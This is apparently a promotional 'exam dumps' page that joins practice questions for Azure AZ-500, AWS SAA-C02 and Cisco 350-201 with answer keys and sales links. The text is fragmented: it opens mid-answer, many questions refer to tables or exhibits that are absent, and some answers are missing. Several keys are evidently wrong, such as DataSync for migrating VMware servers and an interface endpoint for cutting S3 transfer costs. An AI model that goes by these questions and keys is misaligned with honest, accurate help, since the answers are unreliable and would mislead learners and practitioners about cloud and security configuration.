Box 1: No. VM4 is in Subnet13 which has NSG3 attached to it. VM1 is in ASG1. NSG3 would only allow ICMP pings from ASG2 but not ASG1. Only TCP traffic is allowed from ASG1. NSG3 has the inbound security rules shown in the following table. Box 2: Yes. VM2 is in ASG2. Any protocol is allowed from ASG2 so ICMP ping would be allowed. Box3. VM1 is in ASG1. TCP traffic is allowed from ASG1 so VM1 could connect to the web server as connections to the web server would be on ports TCP 80 or TCP 443.
6. You have an Azure subscription that contains a virtual network. The virtual network contains the subnets shown in the following table.
You enable just-in-time (JIT) VM access for all the virtual machines. You need to identify which virtual machines are protected by JIT. Which virtual machines should you identify?
A. VM4 only B. VM1 and VM3 only C. VM1, VM3, and VM4 only D. VM1, VM2, VM3, and VM4
7. You are configuring and securing a network environment. You deploy an Azure virtual machine named VM1 that is configured to analyze network traffic. You need to ensure that all network traffic is routed through VM1. What should you configure?
A. a system route B. a network security group (NSG) C. a user-defined route
Correct Answer: C
Although the use of system routes facilitates traffic automatically for your deployment, there are cases in which you want to control the routing of packets through a virtual appliance. You can do so by creating user-defined routes that specify the next hop for packets flowing to a specific subnet to go to your virtual appliance instead, and enable IP forwarding for the VM running as the virtual appliance.
Note: User Defined Routes For most environments, you will only need the system routes already defined by Azure. However, you may need to create a routing table and add one or more routes in specific cases, such as: 1. Force tunneling to the Internet via your on-premises network. 2. Use of virtual appliances in your Azure environment. 3. In the scenarios above, you will have to create a routing table and add user-defined routes to it.
8. HOTSPOT You have an Azure subscription that contains an Azure key vault named ContosoKey1. You create users and assign them roles as shown in the following table.
9. You need to create Role1 to meet the platform protection requirements. How should you complete the role definition of Role1? To answer, select the appropriate options in the answer area.
NOTE: Each correct selection is worth one point. Hot Area:
Correct Answer:
Scenario: A new custom RBAC role named Role1 must be used to delegate the administration of the managed disks in Resource Group1. Role1 must be available only for Resource Group1. Azure RBAC template managed disks “Microsoft.Storage/”
10. SIMULATION The developers at your company plan to publish an app named App11641655 to Azure. You need to ensure that the app is registered to Azure Active Directory (Azure AD). The registration must use the signon URLs of https://app.contoso.com. To complete this task, sign in to the Azure portal and modify the Azure resources.
A. See the below. Correct Answer: A
Step 1: Register the Application 1. Sign in to your Azure Account through the Azure portal. 2. Select Azure Active Directory. 3. Select App registrations. 4. Select New registration. 5. Name the application App11641655. Select a supported account type, which determines who can use the application. Under Redirect URI, select Web for the type of application you want to create. Enter the URI: https://app.contoso.com, where the access token is sent to. 6. Click Register
11. HOTSPOT You have an Azure subscription named Sub1. Sub1 has an Azure Storage account named storage1 that contains the resources shown in the following table.
Correct Answer:
12. HOTSPOT You plan to use Azure Sentinel to create an analytic rule that will detect suspicious threats and automate responses. Which components are required for the rule? To answer, select the appropriate options in the answer area. NOTE: Each correct selection is worth one point.
13. SIMULATION You need to ensure that the events in the NetworkSecurityGroupRuleCounter log of the VNET01-Subnet0-NSG network security group (NSG) are stored in the logs11597200 Azure Storage account for 30 days. To complete this task, sign in to the Azure portal.
A. See the below. Correct Answer: A
You need to configure the diagnostic logging for the NetworkSecurityGroupRuleCounter log. 1. In the Azure portal, type Network Security Groups in the search box, select Network Security Groups from the search results then select VNET01-Subnet0-NSG. Alternatively, browse to Network Security Groups in the left navigation pane. 2. In the properties of the Network Security Group, click on Diagnostic Settings. 3. Click on the Add diagnostic setting link. 4. Provide a name in the Diagnostic settings name field. It doesn\’t matters what name you provide for the exam. 5. In the Log section, select NetworkSecurityGroupRuleCounter. 6. In the Destination details section, select Archive to a storage account. 7. In the Storage account field, select the logs11597200 storage account. 8. In the Retention (days) field, enter 30. 9. Click the Save button to save the changes.
Summarize
AZ-500 dumps question and answer online at https://www.pass4itsure.com/az-500.html to help with exam preparation. It’s your Microsoft Azure Security Technologies Exam Learning Helper.
Getting ready AWS Certified Solutions Architect – Associate SAA-C02 dumps online resources is the most effective way to eliminate the SAA-C02 exam anxiety.
Pass4itSure SAA-C02 dumps are a perfect choice. The latest SAA-C02 dumps are ready to help you eliminate all stress anxiety.
With our free Amazon SAA-C02 dumps questions, you can check your readiness:
1. A company is planning to migrate 40 servers hosted on-premises in VMware to the AWS Cloud. The migration process must be implemented with minimal downtime. The company also wants to test the servers before the cutover date. Which solution meets these requirements?
A. Deploy the AWS DataSync agent into the on-premises environment. Use DataSync to migrate the servers. B. Deploy an AWS Snowball device connected by way of RJ45 to the on-premises network. Use Snowball to migrate the servers. C. Deploy an AWS Database Migration Service (AWS DMS) replication instance into AWS. Use AWS DMS to migrate the servers. D. Deploy the AWS Server Migration Service (AWS SMS) connector into the on-premises environment. Use AWS SMS to migrate the servers.
Correct Answer: A
2. A solutions architect needs to ensure that API calls to Amazon DynamoDB from Amazon EC2 instances in a VPC do not traverse the internet What should the solutions architect do to accomplish this? (Select TWO )
A. Create a route table entry for the endpoint B. Create a gateway endpoint for DynamoDB C. Create a new DynamoDB table that uses the endpoint D. Create an ENI for the endpoint in each of the subnets of the VPC E. Create a security group entry in the default security group to provide access
Correct Answer: AB
A VPC endpoint enables you to privately connect your VPC to supported AWS services and VPC endpoint services powered by AWS PrivateLink without requiring an internet gateway, NAT device, VPN connection, or AWS Direct Connect connection. Instances in your VPC do not require public IP addresses to communicate with resources in the service.
Traffic between your VPC and the other service does not leave the Amazon network. Gateway endpoints A gateway endpoint is a gateway that you specify as a target for a route in your route table for traffic destined to a supported AWS service. The following AWS services are supported: Amazon S3 DynamoDB https://docs.aws.amazon.com/vpc/latest/userguide/vpc-endpoints.html
3. A company needs to ingest and handle large amounts of streaming data that its application generates. The application runs on Amazon EC2 instances and sends data to Amazon Kinesis Data Streams, which are configured with default settings. Every other day, the application consumes the data and writes the data to an Amazon S3 bucket for business intelligence (BI) processing.
The company observes that Amazon S3 is not receiving all the data that the application sends to Kinesis Data Streams. What should a solutions architect do to resolve this issue?
A. Update the Kinesis Data Streams default settings by modifying the data retention period. B. Update the application to use the Kinesis Producer Library (KPL) to send the data to Kinesis Data Streams. C. Update the number of Kinesis shards to handle the throughput of the data that is sent to Kinesis Data Streams. D. Turn on S3 Versioning within the S3 bucket to preserve every version of every object that is ingested in the S3 bucket.
4. A company has an image processing workload running on Amazon Elastic Container Service (Amazon ECS) in two private subnets. Each private subnet uses a NAT instance for internet access.
All images are stored in Amazon S3 buckets The company is concerned about the data transfer costs between Amazon ECS and Amazon S3. What should a solutions architect do to reduce costs?
A. Configure a NAT gateway to replace the NAT instances. B. Configure a gateway endpoint for traffic destined to Amazon S3. C. Configure an interface endpoint for traffic destined to Amazon S3 D. Configure Amazon CloudFront for the S3 bucket storing the images
Correct Answer: C
5. A user owns a MySQL database that is accessed by various clients who expect, at most, 100 ms latency on requests. Once a record is stored in the database, it is rarely changed. Clients only access one record at a time. Database access has been increasing exponentially due to increased client demand.
The resultant load will soon exceed the capacity of the most expensive hardware available for purchase. The user wants to migrate to AWS and is willing to change database systems. Which service would alleviate the database load issue and offer virtually unlimited scalability for the future?
A. Amazon RDS B. Amazon DynamoDB C. Amazon Redshift D. AWS Data Pipeline
6. A company that recently started using AWS establishes a Site-to-Site VPN between its on-premises data center and AWS. The company\’s security mandate states that traffic originating from on-premises should stay within the company\’s private IP space when communicating with an Amazon Elastic Container Service (Amazon ECS) cluster that is hosting a sample web application.
Which solution meets this requirement?
A. Configure a gateway endpoint for Amazon ECS. Modify the routing table to include an entry point to the ECS cluster. B. Create a Network Load Balancer and AWS PrivateLink endpoint for Amazon ECS in the same VPC that is hosting the ECS cluster. C. Create a Network Load Balancer in one VPC and an AWS PrivateLink endpoint for Amazon ECS in another VPC. Connect the two VPCs by using VPC peering. D. Configure an Amazon Route 53 record with Amazon ECS as the target. Apply a server certificate to Route 53 from AWS Certificate Manager (ACM) for SSL offloading.
Correct Answer: C
7. A company fails an AWS security review conducted by a third party. The review finds that some of the company\’s methods to access the Amazon EMR API are not secure Developers are using AWS Cloud9, and access keys are connecting to the Amazon EMR API through the public internet Which combination of steps should the company take to MOST improve its security\’\’ (Select TWO)
A. Set up a VPC peering connection to the Amazon EMR API B. Set up VPC endpoints to connect to the Amazon EMR API C. Set up a NAT gateway to connect to the Amazon EMR API. D. Set up 1 AM roles to be used to connect to the Amazon EMR API E. Set up each developer with AWS Secrets Manager to store access keys
Correct Answer: BD
8. A company needs to use its on-premises LDAP directory service to authenticate its users to the AWS Management Console. The directory service is not compatible with Security Assertion Markup Language (SAML) Which solution meets these requirements?
A. Enable AWS Single Sign-On between AWS and the on-premises LDAP B. Create a 1 AM policy mat that uses AWS credentials and integrates the policy into LDAP C. Set up a process that rotates the IAM credentials whenever LDAP credentials are updated. D. Develop an on-premises custom identity broker application of process mat that uses AWS Security Token Service (AWS STS) to get short-lived credentials
Correct Answer: A
9. A company hosts a multi-tier web application that uses an Amazon Aurora MySQL DB cluster for storage. The application tier is hosted on Amazon EC2 instances. The company\’s IT security guidelines mandate that the database credentials be encrypted and rotated every 14 days.
What should a solutions architect do to meet this requirement with the LEAST operational effort?
A. Create a new AWS Key Management Service (AWS KMS) encryption key. Use AWS Secrets Manager to create a new secret that uses the KMS key with the appropriate credentials. Associate the secret with the Aurora DB cluster. Configure a custom rotation period of 14 days.
B. Create two parameters in AWS Systems Manager Parameter Store: one for the user name as a string parameter and one that uses the SecureString type for the password. Select AWS Key Management Service (AWS KMS) encryption for the password parameter, and load these parameters in the application tier. Implement an AWS Lambda function that rotates the password every 14 days.
C. Store a file that contains the credentials in an AWS Key Management Service (AWS KMS) encrypted Amazon Elastic File System (Amazon EFS) file system. Mount the EFS file system in all EC2 instances of the application tier. Restrict the access to the file on the file system so that the application can read the file and that only superusers can modify the file. Implement an AWS Lambda function that rotates the key in Aurora every 14 days and writes new credentials into the file.
D. Store a file that contains the credentials in an AWS Key Management Service (AWS KMS) encrypted Amazon S3 bucket that the application uses to load the credentials. Download the file to the application regularly to ensure that the correct credentials are used. Implement an AWS Lambda function that rotates the Aurora credentials every 14 days and uploads these credentials to the file in the S3 bucket.
Correct Answer: A
10. A company is building a mobile app on AWS. The company wants to expand its reach to millions of users The company needs to build a platform so that authorized users can watch the company\’s content on their mobile devices. What should a solutions architect recommend to meet these requirements?
A. Publish content to a public Amazon S3 bucket. Use AWS Key Management Service (AWS KMS) keys to stream content. B. Set up IPsec VPN between the mobile app and the AWS environment to stream content C. Use Amazon CloudFront Provide signed URLs to stream content. D. Set up AWS Client VPN between the mobile app and the AWS environment to stream content.
Correct Answer: C
11. A company\’s website provides users with downloadable historical performance reports. The website needs a solution that will scale to meet the company\’s website demands globally. The solution should be cost-effective, limit the? provisioning of Into and providing the fastest possible response time.
Which combination should a solutions architect recommend to meet these requirements?
A. Amazon CloudFront and Amazon S3 B. AWS Lambda and Amazon Dynamo C. Application Load Balancer with Amazon EC2 Auto Scaling D. Amazon Route 53 with internal Application Load Balances
Correct Answer: A
12. A company runs a containerized application on a Kubernetes cluster in an on-premises data center. The company is using a MongoDB database for data storage. The company wants to migrate some of these environments to AWS, but no code changes or deployment method changes are possible at this time.
The company needs a solution that minimizes operational overhead. Which solution meets these requirements?
A. Use Amazon Elastic Container Service (Amazon ECS) with Amazon EC2 worker nodes for computing and MongoDB on EC2 for data storage. B. Use Amazon Elastic Container Service (Amazon ECS) with AWS Fargate for computing and Amazon DynamoDB for data storage. C. Use Amazon Elastic Kubernetes Service (Amazon EKS) with Amazon EC2 worker nodes for computing and Amazon DynamoDB for data storage. D. Use Amazon Elastic Kubernetes Service (Amazon EKS) with AWS Fargate for computing and Amazon DocumentDB (with MongoDB compatibility) for data storage.
13. A company manages a data lake in an Amazon S3 bucket that numerous applications share. The S3 bucket contains unique folders with a prefix for each application.
The company wants to restrict each application to its specific folder and have more granular control of the objects in each folder. Which solution met these requirements with the LEAST amount of effort?
A. Create dedicated S3 access points and access point policies for each application. B. Create anS3 Batch Operations job to set the ACL permissions for each object in the S3 bucket. C. Update theS3 S3 bucket policy to grant access to each application based on its specific folder in the S3 bucket. D. Replicate the objects in the S3 bucket to new S3 buckets for each application. Create replication rules by the prefix.
Come and get SAA-C02 dumps: https://www.pass4itsure.com/saa-c02.html SAA-C02 dumps PDF, SAA-C02 dumps VCE, pass your AWS Certified Associate exam on the first try.
You consider taking the Cisco 350-201 (CBRCOR) exam, but find it difficult to do so in such a short period of time. You’re not really ready to take the exam yet, so you’re trying to find out more about the exam, like 350-201 CBRCOR Braindumps or anything that can help you. Then I tell you, you’ve come to the right place. This blog is designed to help you pass the Performance CyberOps Using Cisco Security Technologies (CBRCOR) exam. The best way to learn is to practice. Practice a lot of Cisco 350-201 exam questions. You can get it with the help of 350-201 cbrcor dumps pdf.
A SOC team is informed that a UK-based user will be traveling between three countries over the next 60 days. Having the names of the 3 destination countries and the user\\’s working hours, what must the analyst do next to detect an abnormal behavior?
A. Create a rule triggered by 3 failed VPN connection attempts in an 8-hour period B. Create a rule triggered by 1 successful VPN connection from any nondestination country C. Create a rule triggered by multiple successful VPN connections from the destination countries D. Analyze the logs from all countries related to this user during the traveling period
Correct Answer: D
QUESTION 2
An organization installed a new application server for IP phones. An automated process fetched user credentials from the Active Directory server, and the application will have access to on-premises and cloud services. Which security threat should be mitigated first?
A. aligning access control policies B. exfiltration during data transfer C. attack using default accounts D. data exposure from backups
Correct Answer: B
QUESTION 3
DRAG DROP Drag and drop the NIST incident response process steps from the left onto the actions that occur in the steps on the right. Select and Place:
A threat actor has crafted and sent a spear-phishing email with what appears to be a trustworthy link to the site of a conference that an employee recently attended. The employee clicked the link and was redirected to a malicious site through which the employee downloaded a PDF attachment infected with ransomware.
The employee opened the attachment, which exploited vulnerabilities on the desktop. The ransomware is now installed and is calling back to its command and control server.
Which security solution is needed at this stage to mitigate the attack?
A. web security solution B. email security solution C. endpoint security solution D. network security solution
Correct Answer: D
QUESTION 5
What is the HTTP response code when the REST API information requested by the authenticated user cannot be found?
A payroll administrator noticed unexpected changes within a piece of software and reported the incident to the incident response team. Which actions should be taken at this step in the incident response workflow?
A. Classify the criticality of the information, research the attacker\\’s motives, and identify missing patches B. Determine the damage to the business, extract reports, and save evidence according to a chain of custody C. Classify the attack vector, understand the scope of the event, and identify the vulnerabilities being exploited D. Determine the attack surface, evaluate the risks involved, and communicate the incident according to the escalation plan
Correct Answer: B
QUESTION 7
DRAG-DROP Drag and drop the type of attacks from the left onto the cyber kill chain stages at which the attacks are seen on the right. Select and Place:
Correct Answer:
QUESTION 8
An engineer received an alert of a zero-day vulnerability affecting desktop phones through which an attacker sends a crafted packet to a device resets the credentials, makes the device unavailable, and allows a default administrator account login.
Which step should an engineer take after receiving this alert?
A. Initiate a triage meeting to acknowledge the vulnerability and its potential impact B. Determine company usage of the affected products C. Search for a patch to install from the vendor D. Implement restrictions within the VoIP VLANs
Correct Answer: C
QUESTION 9
Refer to the exhibit. What results from this script?
A. Seeds for existing domains are checked B. A search is conducted for additional seeds C. Domains are compared to seed rules D. A list of domains as seeds is blocked
Correct Answer: B
QUESTION 10
Refer to the exhibit. An engineer is performing a static analysis on malware and knows that it is capturing keys and webcam events on a company server. What is the indicator of compromise?
A. The malware is performing comprehensive fingerprinting of the host, including a processor, motherboard manufacturer, and connected removable storage. B. The malware is ransomware querying for installed anti-virus products and operating systems to encrypt and render unreadable until payment is made for file decryption. C. The malware has moved to harvest cookies and stored account information from major browsers and configuring a reverse proxy for intercepting network activity. D. The malware contains an encryption and decryption routine to hide URLs/IP addresses and is storing the output of loggers and webcam capture in locally encrypted files for retrieval.
Correct Answer: B
QUESTION 11
The incident response team was notified of detected malware. The team identified the infected hosts, removed the malware restored the functionality and data of infected systems and planned a company meeting to improve the incident handling capability.
Which step was missed according to the NIST incident handling guide?
A. Contain the malware B. Install IPS software C. Determine the escalation path D. Perform vulnerability assessment
Correct Answer: D
QUESTION 12
Refer to the exhibit. What is occurring in this packet capture?
A. TCP port scan B. TCP flood C. DNS flood D. DNS tunneling
Correct Answer: B
QUESTION 13
Refer to the exhibit. How must these advisories be prioritized for handling?
A. The highest priority for handling depends on the type of institution deploying the devices B. Vulnerability #2 is the highest priority for every type of institution C. Vulnerability #1 and vulnerability #2 have the same priority D. Vulnerability #1 is the highest priority for every type of institution
Correct Answer: D
QUESTION 14
What is the purpose of hardening systems?
A. to securely configure machines to limit the attack surface B. to create the logic that triggers alerts when anomalies occur C. to identify vulnerabilities within an operating system D. to analyze attacks to identify threat actors and points of entry
Correct Answer: A
QUESTION 15
A company\\’s web server availability was breached by a DDoS attack and was offline for 3 hours because it was not deemed a critical asset in the incident response playbook. Leadership has requested a risk assessment of the asset. An analyst conducted the risk assessment using the threat sources, events, and vulnerabilities.
Which additional element is needed to calculate the risk?
A. assessment scope B. event severity and likelihood C. incident response playbook D. risk model framework
Correct Answer: D
Does the exam require a lot of practical experience? I answer you in the affirmative, a must. So get the Cisco 350-201 cbrcor dumps pdf for hands-on exercises!
